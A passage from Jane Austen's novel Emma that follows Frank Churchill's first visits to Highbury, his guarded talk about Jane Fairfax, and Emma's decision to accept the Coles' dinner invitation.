+and Emma was now in a humour to resolve that they should both come +in time. + +The morning of the interesting day arrived, and Mrs. Weston's +faithful pupil did not forget either at ten, or eleven, or twelve +o'clock, that she was to think of her at four. + +"My dear, dear anxious friend,"--said she, in mental soliloquy, +while walking downstairs from her own room, "always overcareful +for every body's comfort but your own; I see you now in all your +little fidgets, going again and again into his room, to be sure +that all is right." The clock struck twelve as she passed through +the hall. "'Tis twelve; I shall not forget to think of you four +hours hence; and by this time to-morrow, perhaps, or a little later, +I may be thinking of the possibility of their all calling here. +I am sure they will bring him soon." + +She opened the parlour door, and saw two gentlemen sitting with +her father--Mr. Weston and his son. They had been arrived only +a few minutes, and Mr. Weston had scarcely finished his explanation +of Frank's being a day before his time, and her father was yet +in the midst of his very civil welcome and congratulations, when +she appeared, to have her share of surprize, introduction, and pleasure. + +The Frank Churchill so long talked of, so high in interest, +was actually before her--he was presented to her, and she did +not think too much had been said in his praise; he was a _very_ good +looking young man; height, air, address, all were unexceptionable, +and his countenance had a great deal of the spirit and liveliness +of his father's; he looked quick and sensible. She felt immediately +that she should like him; and there was a well-bred ease of manner, +and a readiness to talk, which convinced her that he came intending +to be acquainted with her, and that acquainted they soon must be. + +He had reached Randalls the evening before. She was pleased +with the eagerness to arrive which had made him alter his plan, +and travel earlier, later, and quicker, that he might gain half +a day. + +"I told you yesterday," cried Mr. Weston with exultation, "I told +you all that he would be here before the time named. I remembered +what I used to do myself. One cannot creep upon a journey; +one cannot help getting on faster than one has planned; and the +pleasure of coming in upon one's friends before the look-out begins, +is worth a great deal more than any little exertion it needs." + +"It is a great pleasure where one can indulge in it," said the young man, +"though there are not many houses that I should presume on so far; +but in coming _home_ I felt I might do any thing." + +The word _home_ made his father look on him with fresh complacency. +Emma was directly sure that he knew how to make himself agreeable; +the conviction was strengthened by what followed. He was very much +pleased with Randalls, thought it a most admirably arranged house, +would hardly allow it even to be very small, admired the situation, +the walk to Highbury, Highbury itself, Hartfield still more, +and professed himself to have always felt the sort of interest +in the country which none but one's _own_ country gives, and the +greatest curiosity to visit it. That he should never have been +able to indulge so amiable a feeling before, passed suspiciously +through Emma's brain; but still, if it were a falsehood, it was a +pleasant one, and pleasantly handled. His manner had no air of study +or exaggeration. He did really look and speak as if in a state of no +common enjoyment. + +Their subjects in general were such as belong to an opening acquaintance. +On his side were the inquiries,--"Was she a horsewoman?--Pleasant rides?-- +Pleasant walks?--Had they a large neighbourhood?--Highbury, perhaps, +afforded society enough?--There were several very pretty houses +in and about it.--Balls--had they balls?--Was it a musical society?" + +But when satisfied on all these points, and their acquaintance +proportionably advanced, he contrived to find an opportunity, +while their two fathers were engaged with each other, of introducing +his mother-in-law, and speaking of her with so much handsome praise, +so much warm admiration, so much gratitude for the happiness she +secured to his father, and her very kind reception of himself, +as was an additional proof of his knowing how to please-- +and of his certainly thinking it worth while to try to please her. +He did not advance a word of praise beyond what she knew to be +thoroughly deserved by Mrs. Weston; but, undoubtedly he could know +very little of the matter. He understood what would be welcome; +he could be sure of little else. "His father's marriage," he said, +"had been the wisest measure, every friend must rejoice in it; +and the family from whom he had received such a blessing must +be ever considered as having conferred the highest obligation +on him." + +He got as near as he could to thanking her for Miss Taylor's merits, +without seeming quite to forget that in the common course of things it +was to be rather supposed that Miss Taylor had formed Miss Woodhouse's +character, than Miss Woodhouse Miss Taylor's. And at last, as if resolved +to qualify his opinion completely for travelling round to its object, he +wound it all up with astonishment at the youth and beauty of her person. + +"Elegant, agreeable manners, I was prepared for," said he; +"but I confess that, considering every thing, I had not expected +more than a very tolerably well-looking woman of a certain age; +I did not know that I was to find a pretty young woman in Mrs. Weston." + +"You cannot see too much perfection in Mrs. Weston for my feelings," +said Emma; "were you to guess her to be _eighteen_, I should listen +with pleasure; but _she_ would be ready to quarrel with you for using +such words. Don't let her imagine that you have spoken of her as +a pretty young woman." + +"I hope I should know better," he replied; "no, depend upon it, +(with a gallant bow,) that in addressing Mrs. Weston I should +understand whom I might praise without any danger of being thought +extravagant in my terms." + +Emma wondered whether the same suspicion of what might be expected +from their knowing each other, which had taken strong possession +of her mind, had ever crossed his; and whether his compliments were +to be considered as marks of acquiescence, or proofs of defiance. +She must see more of him to understand his ways; at present she +only felt they were agreeable. + +She had no doubt of what Mr. Weston was often thinking about. +His quick eye she detected again and again glancing towards them +with a happy expression; and even, when he might have determined not +to look, she was confident that he was often listening. + +Her own father's perfect exemption from any thought of the kind, +the entire deficiency in him of all such sort of penetration +or suspicion, was a most comfortable circumstance. Happily he +was not farther from approving matrimony than from foreseeing it.-- +Though always objecting to every marriage that was arranged, +he never suffered beforehand from the apprehension of any; +it seemed as if he could not think so ill of any two persons' +understanding as to suppose they meant to marry till it were +proved against them. She blessed the favouring blindness. +He could now, without the drawback of a single unpleasant surmise, +without a glance forward at any possible treachery in his guest, +give way to all his natural kind-hearted civility in solicitous +inquiries after Mr. Frank Churchill's accommodation on his journey, +through the sad evils of sleeping two nights on the road, and express +very genuine unmixed anxiety to know that he had certainly escaped +catching cold--which, however, he could not allow him to feel quite +assured of himself till after another night. + +A reasonable visit paid, Mr. Weston began to move.--"He must be going. +He had business at the Crown about his hay, and a great many errands +for Mrs. Weston at Ford's, but he need not hurry any body else." +His son, too well bred to hear the hint, rose immediately also, +saying, + +"As you are going farther on business, sir, I will take the +opportunity of paying a visit, which must be paid some day or other, +and therefore may as well be paid now. I have the honour of being +acquainted with a neighbour of yours, (turning to Emma,) a lady +residing in or near Highbury; a family of the name of Fairfax. +I shall have no difficulty, I suppose, in finding the house; +though Fairfax, I believe, is not the proper name--I should rather +say Barnes, or Bates. Do you know any family of that name?" + +"To be sure we do," cried his father; "Mrs. Bates--we passed her house-- +I saw Miss Bates at the window. True, true, you are acquainted +with Miss Fairfax; I remember you knew her at Weymouth, and a fine +girl she is. Call upon her, by all means." + +"There is no necessity for my calling this morning," said the +young man; "another day would do as well; but there was that degree +of acquaintance at Weymouth which--" + +"Oh! go to-day, go to-day. Do not defer it. What is right to be done +cannot be done too soon. And, besides, I must give you a hint, Frank; +any want of attention to her _here_ should be carefully avoided. +You saw her with the Campbells, when she was the equal of every body +she mixed with, but here she is with a poor old grandmother, +who has barely enough to live on. If you do not call early it +will be a slight." + +The son looked convinced. + +"I have heard her speak of the acquaintance," said Emma; "she is +a very elegant young woman." + +He agreed to it, but with so quiet a "Yes," as inclined her almost +to doubt his real concurrence; and yet there must be a very distinct +sort of elegance for the fashionable world, if Jane Fairfax could +be thought only ordinarily gifted with it. + +"If you were never particularly struck by her manners before," +said she, "I think you will to-day. You will see her to advantage; +see her and hear her--no, I am afraid you will not hear her at all, +for she has an aunt who never holds her tongue." + +"You are acquainted with Miss Jane Fairfax, sir, are you?" +said Mr. Woodhouse, always the last to make his way in conversation; +"then give me leave to assure you that you will find her a very +agreeable young lady. She is staying here on a visit to her grandmama +and aunt, very worthy people; I have known them all my life. +They will be extremely glad to see you, I am sure; and one of my +servants shall go with you to shew you the way." + +"My dear sir, upon no account in the world; my father can direct me." + +"But your father is not going so far; he is only going to the Crown, +quite on the other side of the street, and there are a great many houses; +you might be very much at a loss, and it is a very dirty walk, +unless you keep on the footpath; but my coachman can tell you +where you had best cross the street." + +Mr. Frank Churchill still declined it, looking as serious as he could, +and his father gave his hearty support by calling out, "My good friend, +this is quite unnecessary; Frank knows a puddle of water when he +sees it, and as to Mrs. Bates's, he may get there from the Crown +in a hop, step, and jump." + +They were permitted to go alone; and with a cordial nod from one, +and a graceful bow from the other, the two gentlemen took leave. +Emma remained very well pleased with this beginning of the acquaintance, +and could now engage to think of them all at Randalls any hour of +the day, with full confidence in their comfort. + + + +CHAPTER VI + + +The next morning brought Mr. Frank Churchill again. He came with +Mrs. Weston, to whom and to Highbury he seemed to take very cordially. +He had been sitting with her, it appeared, most companionably at home, +till her usual hour of exercise; and on being desired to chuse +their walk, immediately fixed on Highbury.--"He did not doubt there +being very pleasant walks in every direction, but if left to him, +he should always chuse the same. Highbury, that airy, cheerful, +happy-looking Highbury, would be his constant attraction."-- +Highbury, with Mrs. Weston, stood for Hartfield; and she trusted to +its bearing the same construction with him. They walked thither directly. + +Emma had hardly expected them: for Mr. Weston, who had called in +for half a minute, in order to hear that his son was very handsome, +knew nothing of their plans; and it was an agreeable surprize +to her, therefore, to perceive them walking up to the house together, +arm in arm. She was wanting to see him again, and especially +to see him in company with Mrs. Weston, upon his behaviour to whom +her opinion of him was to depend. If he were deficient there, +nothing should make amends for it. But on seeing them together, +she became perfectly satisfied. It was not merely in fine words +or hyperbolical compliment that he paid his duty; nothing could be +more proper or pleasing than his whole manner to her--nothing could +more agreeably denote his wish of considering her as a friend and +securing her affection. And there was time enough for Emma to form a +reasonable judgment, as their visit included all the rest of the morning. +They were all three walking about together for an hour or two-- +first round the shrubberies of Hartfield, and afterwards in Highbury. +He was delighted with every thing; admired Hartfield sufficiently +for Mr. Woodhouse's ear; and when their going farther was resolved on, +confessed his wish to be made acquainted with the whole village, +and found matter of commendation and interest much oftener than Emma +could have supposed. + +Some of the objects of his curiosity spoke very amiable feelings. +He begged to be shewn the house which his father had lived in so long, +and which had been the home of his father's father; and on recollecting +that an old woman who had nursed him was still living, walked in quest +of her cottage from one end of the street to the other; and though +in some points of pursuit or observation there was no positive merit, +they shewed, altogether, a good-will towards Highbury in general, +which must be very like a merit to those he was with. + +Emma watched and decided, that with such feelings as were now shewn, +it could not be fairly supposed that he had been ever voluntarily +absenting himself; that he had not been acting a part, or making +a parade of insincere professions; and that Mr. Knightley certainly +had not done him justice. + +Their first pause was at the Crown Inn, an inconsiderable house, +though the principal one of the sort, where a couple of pair of +post-horses were kept, more for the convenience of the neighbourhood +than from any run on the road; and his companions had not expected +to be detained by any interest excited there; but in passing it they +gave the history of the large room visibly added; it had been built +many years ago for a ball-room, and while the neighbourhood had been +in a particularly populous, dancing state, had been occasionally used +as such;--but such brilliant days had long passed away, and now the +highest purpose for which it was ever wanted was to accommodate a whist +club established among the gentlemen and half-gentlemen of the place. +He was immediately interested. Its character as a ball-room caught him; +and instead of passing on, he stopt for several minutes at the two +superior sashed windows which were open, to look in and contemplate +its capabilities, and lament that its original purpose should +have ceased. He saw no fault in the room, he would acknowledge +none which they suggested. No, it was long enough, broad enough, +handsome enough. It would hold the very number for comfort. +They ought to have balls there at least every fortnight through +the winter. Why had not Miss Woodhouse revived the former good +old days of the room?--She who could do any thing in Highbury! +The want of proper families in the place, and the conviction +that none beyond the place and its immediate environs could be +tempted to attend, were mentioned; but he was not satisfied. +He could not be persuaded that so many good-looking houses as he saw +around him, could not furnish numbers enough for such a meeting; +and even when particulars were given and families described, he was +still unwilling to admit that the inconvenience of such a mixture +would be any thing, or that there would be the smallest difficulty +in every body's returning into their proper place the next morning. +He argued like a young man very much bent on dancing; and Emma +was rather surprized to see the constitution of the Weston prevail +so decidedly against the habits of the Churchills. He seemed to have +all the life and spirit, cheerful feelings, and social inclinations +of his father, and nothing of the pride or reserve of Enscombe. +Of pride, indeed, there was, perhaps, scarcely enough; his indifference +to a confusion of rank, bordered too much on inelegance of mind. +He could be no judge, however, of the evil he was holding cheap. +It was but an effusion of lively spirits. + +At last he was persuaded to move on from the front of the Crown; +and being now almost facing the house where the Bateses lodged, +Emma recollected his intended visit the day before, and asked him +if he had paid it. + +"Yes, oh! yes"--he replied; "I was just going to mention it. +A very successful visit:--I saw all the three ladies; and felt very +much obliged to you for your preparatory hint. If the talking aunt +had taken me quite by surprize, it must have been the death of me. +As it was, I was only betrayed into paying a most unreasonable visit. +Ten minutes would have been all that was necessary, perhaps all that +was proper; and I had told my father I should certainly be at home +before him--but there was no getting away, no pause; and, to my +utter astonishment, I found, when he (finding me nowhere else) +joined me there at last, that I had been actually sitting with them +very nearly three-quarters of an hour. The good lady had not given me +the possibility of escape before." + +"And how did you think Miss Fairfax looking?" + +"Ill, very ill--that is, if a young lady can ever be allowed to look ill. +But the expression is hardly admissible, Mrs. Weston, is it? +Ladies can never look ill. And, seriously, Miss Fairfax is naturally +so pale, as almost always to give the appearance of ill health.-- +A most deplorable want of complexion." + +Emma would not agree to this, and began a warm defence of Miss +Fairfax's complexion. "It was certainly never brilliant, but she +would not allow it to have a sickly hue in general; and there was +a softness and delicacy in her skin which gave peculiar elegance +to the character of her face." He listened with all due deference; +acknowledged that he had heard many people say the same--but yet he +must confess, that to him nothing could make amends for the want +of the fine glow of health. Where features were indifferent, +a fine complexion gave beauty to them all; and where they were good, +the effect was--fortunately he need not attempt to describe what the +effect was. + +"Well," said Emma, "there is no disputing about taste.--At least +you admire her except her complexion." + +He shook his head and laughed.--"I cannot separate Miss Fairfax +and her complexion." + +"Did you see her often at Weymouth? Were you often in the same society?" + +At this moment they were approaching Ford's, and he hastily exclaimed, +"Ha! this must be the very shop that every body attends every day +of their lives, as my father informs me. He comes to Highbury himself, +he says, six days out of the seven, and has always business at Ford's. +If it be not inconvenient to you, pray let us go in, that I may prove +myself to belong to the place, to be a true citizen of Highbury. +I must buy something at Ford's. It will be taking out my freedom.-- +I dare say they sell gloves." + +"Oh! yes, gloves and every thing. I do admire your patriotism. +You will be adored in Highbury. You were very popular before you came, +because you were Mr. Weston's son--but lay out half a guinea at +Ford's, and your popularity will stand upon your own virtues." + +They went in; and while the sleek, well-tied parcels of "Men's Beavers" +and "York Tan" were bringing down and displaying on the counter, +he said--"But I beg your pardon, Miss Woodhouse, you were speaking +to me, you were saying something at the very moment of this burst +of my _amor_ _patriae_. Do not let me lose it. I assure you the utmost +stretch of public fame would not make me amends for the loss of any +happiness in private life." + +"I merely asked, whether you had known much of Miss Fairfax +and her party at Weymouth." + +"And now that I understand your question, I must pronounce it to be a +very unfair one. It is always the lady's right to decide on the degree +of acquaintance. Miss Fairfax must already have given her account.-- +I shall not commit myself by claiming more than she may chuse to allow." + +"Upon my word! you answer as discreetly as she could do herself. +But her account of every thing leaves so much to be guessed, +she is so very reserved, so very unwilling to give the least +information about any body, that I really think you may say what you +like of your acquaintance with her." + +"May I, indeed?--Then I will speak the truth, and nothing suits me +so well. I met her frequently at Weymouth. I had known the Campbells +a little in town; and at Weymouth we were very much in the same set. +Colonel Campbell is a very agreeable man, and Mrs. Campbell a friendly, +warm-hearted woman. I like them all." + +"You know Miss Fairfax's situation in life, I conclude; what she +is destined to be?" + +"Yes--(rather hesitatingly)--I believe I do." + +"You get upon delicate subjects, Emma," said Mrs. Weston smiling; +"remember that I am here.--Mr. Frank Churchill hardly knows +what to say when you speak of Miss Fairfax's situation in life. +I will move a little farther off." + +"I certainly do forget to think of _her_," said Emma, "as having ever +been any thing but my friend and my dearest friend." + +He looked as if he fully understood and honoured such a sentiment. + +When the gloves were bought, and they had quitted the shop again, +"Did you ever hear the young lady we were speaking of, play?" +said Frank Churchill. + +"Ever hear her!" repeated Emma. "You forget how much she belongs +to Highbury. I have heard her every year of our lives since we +both began. She plays charmingly." + +"You think so, do you?--I wanted the opinion of some one who +could really judge. She appeared to me to play well, that is, +with considerable taste, but I know nothing of the matter myself.-- +I am excessively fond of music, but without the smallest skill +or right of judging of any body's performance.--I have been used +to hear her's admired; and I remember one proof of her being +thought to play well:--a man, a very musical man, and in love +with another woman--engaged to her--on the point of marriage-- +would yet never ask that other woman to sit down to the instrument, +if the lady in question could sit down instead--never seemed +to like to hear one if he could hear the other. That, I thought, +in a man of known musical talent, was some proof." + +"Proof indeed!" said Emma, highly amused.--"Mr. Dixon is very musical, +is he? We shall know more about them all, in half an hour, from you, +than Miss Fairfax would have vouchsafed in half a year." + +"Yes, Mr. Dixon and Miss Campbell were the persons; and I thought +it a very strong proof." + +"Certainly--very strong it was; to own the truth, a great deal +stronger than, if _I_ had been Miss Campbell, would have been at all +agreeable to me. I could not excuse a man's having more music +than love--more ear than eye--a more acute sensibility to fine +sounds than to my feelings. How did Miss Campbell appear to like it?" + +"It was her very particular friend, you know." + +"Poor comfort!" said Emma, laughing. "One would rather have a stranger +preferred than one's very particular friend--with a stranger it might +not recur again--but the misery of having a very particular friend +always at hand, to do every thing better than one does oneself!-- +Poor Mrs. Dixon! Well, I am glad she is gone to settle in Ireland." + +"You are right. It was not very flattering to Miss Campbell; +but she really did not seem to feel it." + +"So much the better--or so much the worse:--I do not know which. +But be it sweetness or be it stupidity in her--quickness of friendship, +or dulness of feeling--there was one person, I think, who must have +felt it: Miss Fairfax herself. She must have felt the improper +and dangerous distinction." + +"As to that--I do not--" + +"Oh! do not imagine that I expect an account of Miss Fairfax's +sensations from you, or from any body else. They are known to no +human being, I guess, but herself. But if she continued to play +whenever she was asked by Mr. Dixon, one may guess what one chuses." + +"There appeared such a perfectly good understanding among them all--" +he began rather quickly, but checking himself, added, "however, it +is impossible for me to say on what terms they really were-- +how it might all be behind the scenes. I can only say that there +was smoothness outwardly. But you, who have known Miss Fairfax from +a child, must be a better judge of her character, and of how she +is likely to conduct herself in critical situations, than I can be." + +"I have known her from a child, undoubtedly; we have been children +and women together; and it is natural to suppose that we should +be intimate,--that we should have taken to each other whenever +she visited her friends. But we never did. I hardly know how it +has happened; a little, perhaps, from that wickedness on my side +which was prone to take disgust towards a girl so idolized +and so cried up as she always was, by her aunt and grandmother, +and all their set. And then, her reserve--I never could attach +myself to any one so completely reserved." + +"It is a most repulsive quality, indeed," said he. "Oftentimes +very convenient, no doubt, but never pleasing. There is safety +in reserve, but no attraction. One cannot love a reserved person." + +"Not till the reserve ceases towards oneself; and then the attraction +may be the greater. But I must be more in want of a friend, +or an agreeable companion, than I have yet been, to take +the trouble of conquering any body's reserve to procure one. +Intimacy between Miss Fairfax and me is quite out of the question. +I have no reason to think ill of her--not the least--except that +such extreme and perpetual cautiousness of word and manner, +such a dread of giving a distinct idea about any body, is apt +to suggest suspicions of there being something to conceal." + +He perfectly agreed with her: and after walking together so long, +and thinking so much alike, Emma felt herself so well acquainted with him, +that she could hardly believe it to be only their second meeting. +He was not exactly what she had expected; less of the man of the +world in some of his notions, less of the spoiled child of fortune, +therefore better than she had expected. His ideas seemed more moderate-- +his feelings warmer. She was particularly struck by his manner +of considering Mr. Elton's house, which, as well as the church, +he would go and look at, and would not join them in finding much +fault with. No, he could not believe it a bad house; not such a house +as a man was to be pitied for having. If it were to be shared with +the woman he loved, he could not think any man to be pitied for having +that house. There must be ample room in it for every real comfort. +The man must be a blockhead who wanted more. + +Mrs. Weston laughed, and said he did not know what he was talking about. +Used only to a large house himself, and without ever thinking how many +advantages and accommodations were attached to its size, he could +be no judge of the privations inevitably belonging to a small one. +But Emma, in her own mind, determined that he _did_ know what he +was talking about, and that he shewed a very amiable inclination +to settle early in life, and to marry, from worthy motives. +He might not be aware of the inroads on domestic peace to be +occasioned by no housekeeper's room, or a bad butler's pantry, +but no doubt he did perfectly feel that Enscombe could not make +him happy, and that whenever he were attached, he would willingly +give up much of wealth to be allowed an early establishment. + + + +CHAPTER VII + + +Emma's very good opinion of Frank Churchill was a little shaken +the following day, by hearing that he was gone off to London, +merely to have his hair cut. A sudden freak seemed to have seized him +at breakfast, and he had sent for a chaise and set off, intending to +return to dinner, but with no more important view that appeared than +having his hair cut. There was certainly no harm in his travelling +sixteen miles twice over on such an errand; but there was an air +of foppery and nonsense in it which she could not approve. It did +not accord with the rationality of plan, the moderation in expense, +or even the unselfish warmth of heart, which she had believed herself +to discern in him yesterday. Vanity, extravagance, love of change, +restlessness of temper, which must be doing something, good or bad; +heedlessness as to the pleasure of his father and Mrs. Weston, +indifferent as to how his conduct might appear in general; he became +liable to all these charges. His father only called him a coxcomb, +and thought it a very good story; but that Mrs. Weston did not like it, +was clear enough, by her passing it over as quickly as possible, +and making no other comment than that "all young people would have +their little whims." + +With the exception of this little blot, Emma found that his visit +hitherto had given her friend only good ideas of him. Mrs. Weston +was very ready to say how attentive and pleasant a companion he +made himself--how much she saw to like in his disposition altogether. +He appeared to have a very open temper--certainly a very cheerful +and lively one; she could observe nothing wrong in his notions, +a great deal decidedly right; he spoke of his uncle with warm regard, +was fond of talking of him--said he would be the best man in the +world if he were left to himself; and though there was no being +attached to the aunt, he acknowledged her kindness with gratitude, +and seemed to mean always to speak of her with respect. +This was all very promising; and, but for such an unfortunate fancy +for having his hair cut, there was nothing to denote him unworthy +of the distinguished honour which her imagination had given him; +the honour, if not of being really in love with her, of being +at least very near it, and saved only by her own indifference-- +(for still her resolution held of never marrying)--the honour, in short, +of being marked out for her by all their joint acquaintance. + +Mr. Weston, on his side, added a virtue to the account which must +have some weight. He gave her to understand that Frank admired +her extremely--thought her very beautiful and very charming; +and with so much to be said for him altogether, she found she must +not judge him harshly. As Mrs. Weston observed, "all young people +would have their little whims." + +There was one person among his new acquaintance in Surry, not so +leniently disposed. In general he was judged, throughout the parishes +of Donwell and Highbury, with great candour; liberal allowances +were made for the little excesses of such a handsome young man-- +one who smiled so often and bowed so well; but there was one spirit +among them not to be softened, from its power of censure, by bows +or smiles--Mr. Knightley. The circumstance was told him at Hartfield; +for the moment, he was silent; but Emma heard him almost immediately +afterwards say to himself, over a newspaper he held in his hand, +"Hum! just the trifling, silly fellow I took him for." She had +half a mind to resent; but an instant's observation convinced +her that it was really said only to relieve his own feelings, +and not meant to provoke; and therefore she let it pass. + +Although in one instance the bearers of not good tidings, +Mr. and Mrs. Weston's visit this morning was in another respect +particularly opportune. Something occurred while they were +at Hartfield, to make Emma want their advice; and, which was +still more lucky, she wanted exactly the advice they gave. + +This was the occurrence:--The Coles had been settled some years +in Highbury, and were very good sort of people--friendly, liberal, +and unpretending; but, on the other hand, they were of low origin, +in trade, and only moderately genteel. On their first coming into +the country, they had lived in proportion to their income, quietly, +keeping little company, and that little unexpensively; but the last +year or two had brought them a considerable increase of means-- +the house in town had yielded greater profits, and fortune in general +had smiled on them. With their wealth, their views increased; +their want of a larger house, their inclination for more company. +They added to their house, to their number of servants, +to their expenses of every sort; and by this time were, in fortune +and style of living, second only to the family at Hartfield. +Their love of society, and their new dining-room, prepared every body +for their keeping dinner-company; and a few parties, chiefly among +the single men, had already taken place. The regular and best +families Emma could hardly suppose they would presume to invite-- +neither Donwell, nor Hartfield, nor Randalls. Nothing should +tempt _her_ to go, if they did; and she regretted that her father's +known habits would be giving her refusal less meaning than she +could wish. The Coles were very respectable in their way, but they +ought to be taught that it was not for them to arrange the terms +on which the superior families would visit them. This lesson, +she very much feared, they would receive only from herself; +she had little hope of Mr. Knightley, none of Mr. Weston. + +But she had made up her mind how to meet this presumption so many +weeks before it appeared, that when the insult came at last, +it found her very differently affected. Donwell and Randalls +had received their invitation, and none had come for her father +and herself; and Mrs. Weston's accounting for it with "I suppose +they will not take the liberty with you; they know you do not +dine out," was not quite sufficient. She felt that she should +like to have had the power of refusal; and afterwards, as the idea +of the party to be assembled there, consisting precisely of those +whose society was dearest to her, occurred again and again, +she did not know that she might not have been tempted to accept. +Harriet was to be there in the evening, and the Bateses. They had +been speaking of it as they walked about Highbury the day before, +and Frank Churchill had most earnestly lamented her absence. +Might not the evening end in a dance? had been a question of his. +The bare possibility of it acted as a farther irritation on her spirits; +and her being left in solitary grandeur, even supposing the omission +to be intended as a compliment, was but poor comfort. + +It was the arrival of this very invitation while the Westons were +at Hartfield, which made their presence so acceptable; for though her +first remark, on reading it, was that "of course it must be declined," +she so very soon proceeded to ask them what they advised her to do, +that their advice for her going was most prompt and successful. + +She owned that, considering every thing, she was not absolutely +without inclination for the party. The Coles expressed themselves +so properly--there was so much real attention in the manner of it-- +so much consideration for her father. "They would have solicited the +honour earlier, but had been waiting the arrival of a folding-screen +from London, which they hoped might keep Mr. Woodhouse from any draught +of air, and therefore induce him the more readily to give them the +honour of his company." Upon the whole, she was very persuadable; +and it being briefly settled among themselves how it might be +done without neglecting his comfort--how certainly Mrs. Goddard, +if not Mrs. Bates, might be depended on for bearing him company-- +Mr. Woodhouse was to be talked into an acquiescence of his daughter's +going out to dinner on a day now near at hand, and spending +the whole evening away from him. As for _his_ going, Emma did +not wish him to think it possible, the hours would be too late, +and the party too numerous. He was soon pretty well resigned. + +"I am not fond of dinner-visiting," said he--"I never was. +No more is Emma. Late hours do not agree with us. I am sorry +Mr. and Mrs. Cole should have done it. I think it would be +much better if they would come in one afternoon next summer, +and take their tea with us--take us in their afternoon walk; +which they might do, as our hours are so reasonable, and yet get home +without being out in the damp of the evening. The dews of a summer +evening are what I would not expose any body to. However, as they +are so very desirous to have dear Emma dine with them, and as you +will both be there, and Mr. Knightley too, to take care of her, +I cannot wish to prevent it, provided the weather be what it ought, +neither damp, nor cold, nor windy." Then turning to Mrs. Weston, +with a look of gentle reproach--"Ah! Miss Taylor, if you had +not married, you would have staid at home with me." + +"Well, sir," cried Mr. Weston, "as I took Miss Taylor away, +it is incumbent on me to supply her place, if I can; and I will +step to Mrs. Goddard in a moment, if you wish it." + +But the idea of any thing to be done in a _moment_, was increasing, +not lessening, Mr. Woodhouse's agitation. The ladies knew better +how to allay it. Mr. Weston must be quiet, and every thing +deliberately arranged. + +With this treatment, Mr. Woodhouse was soon composed enough +for talking as usual. "He should be happy to see Mrs. Goddard. +He had a great regard for Mrs. Goddard; and Emma should write a line, +and invite her. James could take the note. But first of all, +there must be an answer written to Mrs. Cole." + +"You will make my excuses, my dear, as civilly as possible. You will +say that I am quite an invalid, and go no where, and therefore must +decline their obliging invitation; beginning with my _compliments_, +of course. But you will do every thing right. I need not tell you +what is to be done. We must remember to let James know that the carriage +will be wanted on Tuesday. I shall have no fears for you with him. +We have never been there above once since the new approach was made; +but still I have no doubt that James will take you very safely. +And when you get there, you must tell him at what time you would +have him come for you again; and you had better name an early hour. +You will not like staying late. You will get very tired when tea +is over." + +"But you would not wish me to come away before I am tired, papa?" + +"Oh! no, my love; but you will soon be tired. There will be +a great many people talking at once. You will not like the noise." + +"But, my dear sir," cried Mr. Weston, "if Emma comes away early, +it will be breaking up the party." + +"And no great harm if it does," said Mr. Woodhouse. "The sooner +every party breaks up, the better." + +"But you do not consider how it may appear to the Coles. +Emma's going away directly after tea might be giving offence. +They are good-natured people, and think little of their own claims; +but still they must feel that any body's hurrying away is no +great compliment; and Miss Woodhouse's doing it would be more thought +of than any other person's in the room. You would not wish to disappoint +and mortify the Coles, I am sure, sir; friendly, good sort of people +as ever lived, and who have been your neighbours these _ten_ years." + +"No, upon no account in the world, Mr. Weston; I am much obliged +to you for reminding me. I should be extremely sorry to be giving +them any pain. I know what worthy people they are. Perry tells +me that Mr. Cole never touches malt liquor. You would not think +it to look at him, but he is bilious--Mr. Cole is very bilious. +No, I would not be the means of giving them any pain. My dear Emma, +we must consider this. I am sure, rather than run the risk of hurting +Mr. and Mrs. Cole, you would stay a little longer than you might wish. +You will not regard being tired. You will be perfectly safe, +you know, among your friends." + +"Oh yes, papa. I have no fears at all for myself; and I should have +no scruples of staying as late as Mrs. Weston, but on your account. +I am only afraid of your sitting up for me. I am not afraid +of your not being exceedingly comfortable with Mrs. Goddard. +She loves piquet, you know; but when she is gone home, I am afraid +you will be sitting up by yourself, instead of going to bed at your +usual time--and the idea of that would entirely destroy my comfort. +You must promise me not to sit up." + +He did, on the condition of some promises on her side: such as that, +if she came home cold, she would be sure to warm herself thoroughly; +if hungry, that she would take something to eat; that her own maid +should sit up for her; and that Serle and the butler should see +that every thing were safe in the house, as usual. + + + +CHAPTER VIII + + +Frank Churchill came back again; and if he kept his father's +dinner waiting, it was not known at Hartfield; for Mrs. Weston +was too anxious for his being a favourite with Mr. Woodhouse, +to betray any imperfection which could be concealed. + +He came back, had had his hair cut, and laughed at himself with +a very good grace, but without seeming really at all ashamed +of what he had done. He had no reason to wish his hair longer, +to conceal any confusion of face; no reason to wish the money unspent, +to improve his spirits. He was quite as undaunted and as lively +as ever; and, after seeing him, Emma thus moralised to herself:-- + +"I do not know whether it ought to be so, but certainly silly things +do cease to be silly if they are done by sensible people in an +impudent way. Wickedness is always wickedness, but folly is not +always folly.--It depends upon the character of those who handle it. +Mr. Knightley, he is _not_ a trifling, silly young man. If he were, +he would have done this differently. He would either have gloried +in the achievement, or been ashamed of it. There would have been +either the ostentation of a coxcomb, or the evasions of a mind too +weak to defend its own vanities.--No, I am perfectly sure that he +is not trifling or silly." + +With Tuesday came the agreeable prospect of seeing him again, +and for a longer time than hitherto; of judging of his general manners, +and by inference, of the meaning of his manners towards herself; +of guessing how soon it might be necessary for her to throw coldness +into her air; and of fancying what the observations of all those +might be, who were now seeing them together for the first time. + +She meant to be very happy, in spite of the scene being laid at +Mr. Cole's; and without being able to forget that among the failings +of Mr. Elton, even in the days of his favour, none had disturbed +her more than his propensity to dine with Mr. Cole. + +Her father's comfort was amply secured, Mrs. Bates as well as +Mrs. Goddard being able to come; and her last pleasing duty, +before she left the house, was to pay her respects to them as +they sat together after dinner; and while her father was fondly +noticing the beauty of her dress, to make the two ladies all +the amends in her power, by helping them to large slices of cake +and full glasses of wine, for whatever unwilling self-denial his +care of their constitution might have obliged them to practise +during the meal.--She had provided a plentiful dinner for them; +she wished she could know that they had been allowed to eat it. + +She followed another carriage to Mr. Cole's door; and was pleased +to see that it was Mr. Knightley's; for Mr. Knightley keeping +no horses, having little spare money and a great deal of health, +activity, and independence, was too apt, in Emma's opinion, to get +about as he could, and not use his carriage so often as became +the owner of Donwell Abbey. She had an opportunity now of speaking +her approbation while warm from her heart, for he stopped to hand her out. + +"This is coming as you should do," said she; "like a gentleman.-- +I am quite glad to see you." + +He thanked her, observing, "How lucky that we should arrive at the same +moment! for, if we had met first in the drawing-room, I doubt whether +you would have discerned me to be more of a gentleman than usual.-- +You might not have distinguished how I came, by my look or manner." + +"Yes I should, I am sure I should. There is always a look of +consciousness or bustle when people come in a way which they know +to be beneath them. You think you carry it off very well, I dare say, +but with you it is a sort of bravado, an air of affected unconcern; +I always observe it whenever I meet you under those circumstances. +_Now_ you have nothing to try for. You are not afraid of being +supposed ashamed. 